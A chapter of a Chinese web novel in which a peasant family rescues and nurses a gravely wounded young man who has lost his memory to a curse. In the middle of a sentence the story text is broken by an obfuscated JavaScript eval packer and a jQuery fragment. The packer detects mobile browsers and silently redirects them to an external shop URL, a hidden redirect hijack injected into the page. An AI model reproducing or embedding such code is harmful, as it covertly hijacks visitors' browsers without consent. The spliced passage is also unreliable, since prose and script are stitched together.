漳州城北,远离官道的荒僻山坳里,有一片当地人讳莫如深的乱葬岗。在这里,多是些无主孤魂,或是被人草草丢弃了一些来历不明,无人收殓的尸身。
夜枭啼叫,磷火闪烁,平添了几分阴森。
一对穿着粗布麻衣,神色悲戚的中年夫妻,互相搀扶着,深一脚浅一脚地走到乱葬岗边缘。
他们在一处稍稍隆起的,连块像样木牌都没有的土包前停下,放下带来的简陋祭品——
几个干硬的馒头,一壶浊酒。
妇人忍不住低声啜泣起来,男人则红着眼圈,默默烧着纸钱。
“儿啊……爹娘来看你了……” 妇人抚摸着那冰冷的土包,犹如抚摸着儿子生前的脸庞,“你说要去挣军功,光宗耀祖,怎么就回不来了呢……”
他们的长子,数月前随着顾观复将军征伐北戎,最终埋骨边关,连尸首都未能还乡。这处土包,也只是个衣冠冢,寄托着老两口无尽的哀思。
祭奠完毕,天色已近黄昏。夫妻俩正准备离开,男人眼尖,瞥见不远处的杂草丛中,似乎有一角不同于泥土颜色的衣料。
“孩儿他娘,你看那边……” 男人犹豫着指了过去。
妇人顺着方向看去,心里有些发毛,但还是壮着胆子跟着男人走近了些。
拨开半人高的枯草,他们赫然发现一个面色惨白如纸的青年倒在血泊之中!
他穿着一身早已被血污浸染得看不出原本颜色的衣衫,气息微弱得几乎如同游丝,若非胸口还有极其轻微的起伏,几乎与死人无异。
“哎呀!这人……” 妇人吓得后退半步。
男人胆子大些,蹲下身探了探鼻息,又摸了摸脖颈:“还有气!这孩子伤得太重了!”
看着青年那张即使沾染污秽也难掩气质的俊朗面容,再看看这荒郊野岭,老两口终究是心善,不忍心见死不救。
“这兵荒马乱的年头真是造孽。” 妇人念了声佛,对男人道,“他爹,总不能看着他死在这儿,抬回去吧?”
男人点了点头:“唉,救人一命,胜造七级浮屠。看这穿着,像是个读书人,不知遭了什么大难。”
夫妻俩费力地将昏迷不醒的青年抬回了家。
他们家就在山脚下的温家村,几间朴素的茅草土坯房,围着个小小的院落,虽然清贫,却收拾得干净整齐。
这户人家随着村子的姓氏姓温,温家除了这对老夫妻,还有两个孩子。长子已战死沙场,如今剩下次子温安澈,年方十八,和小女儿温故,刚满十五。
温安澈与沉默寡言、只知道埋头种地的父兄不同,他生得如朗月星辰,性格外向开朗,是村里的风云人物。他不仅帮着家里干农活是一把好手,还认得字,读过些杂书,尤其喜欢听说书,自己也能眉飞色舞地讲上几段,很得村里姑娘们的喜欢。
用他爹娘的话说,就是“心思活络,不像个庄稼汉”。
妹妹温故则截然相反,性情沉静,却并非愚钝。她跟着哥哥也识了不少字,喜欢听哥哥讲外面的世界,对天下大事、风土人情竟也颇有见解,常常能说出些让温安澈都惊讶的话来,是温家最有主见也最聪慧的人。
陈君竹被抬回来时,温安澈和温故都吓了一跳。
看着床上生死不知,遍体鳞伤的陌生男子,温安澈皱紧了眉头:“爹,娘,这人来路不明,伤得这么重,怕是惹了什么麻烦……”
在他说话的间隙里,温故已经打来了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062147|195067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温水,拿来了家里仅有的伤药,叹了口气道:“哥,人都抬回来了,总不能见死不救。先救人要紧。”
接下来的日子,陈君竹一直昏迷不醒。
他伤得极重,“蚀魂焚心咒”的残余力量依旧在他体内肆虐,不仅侵蚀着他的身体,似乎也冲击了他的神智。温家老夫妻要忙活田地里的生计,照料伤者的重任,便主要落在了温安澈和温故身上。
温安澈力气大,负责帮陈君竹擦拭身体和换药。
虽然他的动作略显毛糙,但也算得上是细心。偶尔兴致来了,还会对着昏迷的陈君竹自言自语,或者说上几段书,美其名曰“说不定他听着就能醒过来”。
他天性乐观,即使面对这样沉重的伤者,也试图用他的方式带来一点生气。
温故则更为细心体贴,她每日按时给陈君竹喂些米汤和水,小心地清洗伤口,更换干净的布条。她话不多,但做事井井有条。空闲时,她会坐在床边,安静地做针线,或者拿着一本书轻声读着,也不管床上的人是否能听见。
她有时会对着眼前人发呆,看着他即便在昏迷中也依旧紧蹙的眉头,和他那与周遭格格不入的清雅气质,心中隐隐觉得,此人绝非寻常百姓。
在温家兄妹这般轮番悉心照料下,陈君竹的伤势总算没有继续恶化。他微弱的生命,在这朴素的农家小院里,顽强地维持着。
只是,当他偶尔在梦魇中短暂地睁开眼时,那双总是温润含笑的眸子里,却出现了一片空茫的,如同初生婴儿般的混沌。
他忘了自己是谁,从何处来,又为何会身受重伤,奄奄一息地躺在这陌生的地方。
记忆,被子衿那狠毒的咒法,连同着他的健康一起,暂时夺走了。